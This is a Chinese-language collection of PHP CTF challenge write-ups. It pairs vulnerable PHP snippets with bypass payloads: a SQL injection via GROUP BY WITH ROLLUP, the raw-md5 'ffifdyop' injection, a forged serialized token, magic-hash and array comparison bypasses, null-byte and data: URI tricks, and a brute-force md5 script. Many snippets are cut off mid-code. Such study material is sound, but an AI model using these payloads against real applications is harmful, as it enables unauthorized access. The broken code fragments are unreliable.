0x01 extract变量覆盖
?shiyan=&flag=1
在file_get_contents($flag)过程时出错,返回$content为空,通过$shiyan==$content判断
0x02 绕过过滤的空白字符
$value) {
$value = trim($value); //trim — 去除字符串首尾处的空白字符(或者其他字符)
is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串
}
}
function is_palindrome_number($number) {
$number = strval($number); //strval — 获取变量的字符串值
$i = 0;
$j = strlen($number) - 1; //strlen — 获取字符串长度
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}
if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字字符串 ,此处要求number非纯数字
{
$info="sorry, you cann't input a number!";
}
elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值,此处要求number与intval(number)的字符串值一致,而%0c在这一过程中将保留
{
$info = "number must be equal to it's integer!! ";
}
else
{
$value1 = intval($req["number"]);
$value2 = intval(strrev($req["number"]));
if($value1!=$value2){//此处要求number变量数字部分与其反转后相同
$info="no, this is not a palindrome number!";
}
else
{
if(is_palindrome_number($req["number"])){
$info = "nice! {$value1} is a palindrome number!";
}
else
{
$info=$flag;
}
}
}
echo $info;
?number=%00%0c191
%00使if(is_numeric($_REQUEST['number'])) 和elseif($req['number']!=strval(intval($req['number'])))均返回false;
intval和is_numeric都会忽略\f(也就是%0c)这个字符,使number值为191;
而在if(is_palindrome_number($req["number"]))判断中,strval($number)值为\f191,从而使$number[$i]为\f, $number[$j]为1通过if($number[$i] !== $number[$j]) 的判断返回false。
0x03 多重加密
where))
{
$this->select($this->where);
}
}
function select($where)
{
$sql = mysql_query('select * from user where '.$where);
//函数执行一条 MySQL 查询。
return @mysql_fetch_array($sql);
//从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
}
}
if(isset($requset['token']))
//测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
//gzuncompress:进行字符串压缩
//unserialize: 将已序列化的字符串还原回 PHP 的值
$db = new db();
$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
//mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(╯‵□′)╯︵┴─┴ ";
}
}else{
header('Location: index.php?error=1');
}
?>
判断条件只有一个:if($login['user'] === 'ichunqiu')
而$login = unserialize(gzuncompress(base64_decode($requset['token'])));
因此只需要传递一个符合要求的序列化值即可,脚本如下:
//eJxLtDK0qs60MrBOAuJaAB5uBBQ=
0x04 SQL注入_WITH ROLLUP绕过
'."
";
echo ''."
";
echo ''."
";
echo ''."
";
echo ''."
";
echo ''."
";
die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
//检测变量是否是数组
$StrValue=implode($StrValue);
//返回由数组元素组合成的字符串
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
//匹配成功一次后就会停止匹配
print "水可载舟,亦可赛艇!";
exit();
}
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
//遍历数组
AttackFilter($key,$value,$filter);
}
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
//设置活动的 MySQL 数据库
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
//执行一条 MySQL 查询
if (mysql_num_rows($query) == 1) {
//返回结果集中行的数目
$key = mysql_fetch_array($query);
//返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可赛艇!";
}
}else{
print "一颗赛艇!";
}
mysql_close($con);
?>
admin' GROUP BY password WITH ROLLUP LIMIT 1 OFFSET 1-- -
拼接后的SQL语句为:
SELECT * FROM interest WHERE uname = 'admin' GROUP BY password WITH ROLLUP LIMIT 1 OFFSET 1-- -
因此可以通过注入payload使username仍为admin,但password为空。
POST:
username=admin' GROUP BY password WITH ROLLUP LIMIT 1 OFFSET 1-- -&password=
0x05 sha()函数比较绕过
Your password can not be your name!';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo 'Invalid password.
';
}
else
echo 'Login first!
';
?>
?name[]=1&password[]=2
sha1()函数默认的传入参数类型是字符串型,当传入数组时均会返回false,通过判断。
0x06 SESSION验证绕过
Wrong guess.';
}
mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>
?password=
初始状态session为空,因此password也传入空值即可
0x07 md5加密相等绕过
var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
var_dump('0010e2' == '1e3');
var_dump('0x1234Ab' == '1193131');
var_dump('0xABCdef' == ' 0xABCdef');
md5('240610708'); // 0e462097431906509019562988736854
md5('QNKCDZO'); // 0e830400451993494058024219903391
pg:把你的密码设成 0x1234Ab,然后退出登录再登录,换密码 1193131登录,如果登录成功,那么密码绝对是明文保存的没跑。
同理,密码设置为 240610708,换密码 QNKCDZO登录能成功,那么密码没加盐直接md5保存的。
0x08 intval函数四舍五入
no! try again";
}
else{
echo "flag{**************************}";
}
}
?>
1024.1绕过
0x09 md5()函数===使用数组绕过
?username[]=1&password[]=2
0x10 十六进制与数字比较
= $one) && ($digit <= $nine) )
{
// Aha, digit not allowed!
return "flase";
}
}
if($number == $temp)
echo $flag;
return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);
?>
?password=0xdeadc0de
3735929054 == 0xdeadc0de(十六进制)
0x11 数字验证正则绕过
= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配, 意为必须是12个字符以上(非空格非TAB之外的内容)
{
echo 'Wrong Format';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr)) //意为匹配到的次数要大于6次
//字符串中,把连续的大写,小写,数字,符号作为一段,至少分六段,例如a12SD+io8可以分成a 12 SD + io 8六段
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]] 任何大写字母 [[:lower:]] 任何小写字母
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
//>=3,意为必须要有大小写字母,数字,字符内容三种与三种以上
if ("42" == $password) echo $flag; //意为必须等于42
else echo 'Wrong password';
exit;
}
}
?>
password=42.00e+00000000000 或 password=420.000000000e-1
0x12 弱类型整数大小比较绕过
1336){
echo $flag;
}
?>
?password=1337a
当一个整形和一个其他类型行比较的时候,会先把其他类型intval再比。
当输入1337a,在is_numeric中返回true,然后在比较时被转换成数字1337。
0x13 md5函数true绕过注入
' . mysql_error() . '
' );
$row1 = mysql_fetch_row($result);
var_dump($row1);
mysql_close($link);
?>
?password=ffifdyop
只需md5($password,true)包含' or 'xxx这样的字符即可绕过,SQL即变成:
SELECT * FROM admin WHERE pass = '' or 'xxx'
字符串ffifdyop
,md5后为276f722736c95d99e921722cf9ed621c,hex转换为字符串为:'or'6
0x14 switch没有break 字符与0比较绕过
?which=flag
这里在case 0 和 case 1的时候均没有break,按照常规思维,应该是0比较不成功,进入比较1,然后比较2,再然后进入default。
但实际上,在case 0比较的时候,是相等的。进入了case 0的方法体,但是却没有break,这个时候,默认判断已经比较成功了,而如果匹配成功之后,会继续执行后面的语句。当我们传入flag时,case 0比较进入了方法体,但是没有break,默认已经匹配成功,往下执行不再判断,进入2的时候,执行了require_once flag.php
在php中,非数字开头的字符串与数字0的弱类型比较(==)均返回true。
而以数字开头的字符串进行比较时,可转换为数字。
eg:7asd可转换为7
0x15 利用提交数组绕过逻辑
?]', $data)) {
die('No No No!'.$data);
}
else {
$s = implode($data);//implode() 函数返回由数组元素组合成的字符串。
if(!preg_match('[<>?]', $s)){
$flag='None.';
}
$rand = rand(1,10000000);
$tmp="./uploads/".md5(time() + $rand).$filename;
file_put_contents($tmp, $flag);
echo "your file is in " . $tmp;
}
}
else{
echo "Hello admin, now you can upload something you are easy to forget.";
echo "
there are the source.
";
echo '';
}
}
else{
echo "Sorry. You have no permissions.";
}
?>
- 修改cookie中role为czo1OiJhZG1pbiI7令$auth为true
- 以
data[0]=123&data[1]=<>
的形式传入数组
preg_match('[<>?]', $data)
匹配数组,结果返回false;
preg_match('[<>?]', $s)
匹配字符串,结果返回true。
0x16
";
if(!$_GET['id'])
{
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("flag.txt");
}
else
{
print "work harder!harder!harder!";
}
?>
?a=data:,1112 is a nice lab!&id=0e12&b=%00412311
$data=="1112 is a nice lab!"
利用远程文件包含在allow_url_include开启时可以使用,但发现对$a有了.过滤所以还是data协议比较稳妥,参考这里
data:,<文本数据>
data:text/plain,<文本数据>
data:text/html,
data:text/html;base64,
data:text/css,
data:text/css;base64,
data:text/javascript,
data:text/javascript;base64,
data:image/gif;base64,base64编码的gif图片数据
data:image/png;base64,base64编码的png图片数据
data:image/jpeg;base64,base64编码的jpeg图片数据
data:image/x-icon;base64,base64编码的icon图片数据$id==0
典型的PHP弱比较可参考这里strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
strlen函数对%00不截断但substr截断
ereg函数对%00截断及遇到%00则默认为字符串的结束
0x17
?args=GLOBALS
0x18
2017)?$b=1:NULL;
}
if(is_array(@$x2["x22"])){
if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ha?");
$p = array_search("XIPU", $x2["x22"]);
$p===false?die("ha?"):NULL;
foreach($x2["x22"] as $key=>$val){
$val==="XIPU"?die("ha?"):NULL;
}
$c=1;
}
}
$x3 = $_GET['x3'];
if ($x3 != '15562') {
if (strstr($x3, 'XIPU')) {
if (substr(md5($x3),8,16) == substr(md5('15562'),8,16)) {
$d=1;
}
}
}
if($a && $b && $c && $d){
include "flag.php";
echo $flag;
}
?>
?x1=1a&x2={"x21":"2018e","x22":[["XIPU"],0]}&x3=47484XIPU
- x1=1a 或 0
- x3位md5弱类型比较
import re
import hashlib
md = hashlib.md5("15562".encode())
s = md.hexdigest()[8:8+16]
print('md5(15562) =',s)
for i in range(10000000):
#md = hashlib.md5(('XIPU'+str(i)).encode())
md = hashlib.md5((str(i) + 'XIPU').encode())
x = md.hexdigest()[8:8+16]
if re.findall('^0e\d*$',x):
print(str(i) + 'XIPU')
print(x)
0x19
key == $key) {
echo "flag";
}
else {
echo "fail";
}
}
else{
echo "~~~~";
}
message={"key":true}
0x20
?b=a[0]=s878926199a
0x21
user[]=1&name[]=1&password[]=2&id=72.0&login=Check
or
user[]=1&name[]=1&password[]=2&id=072&login=Check
源项目地址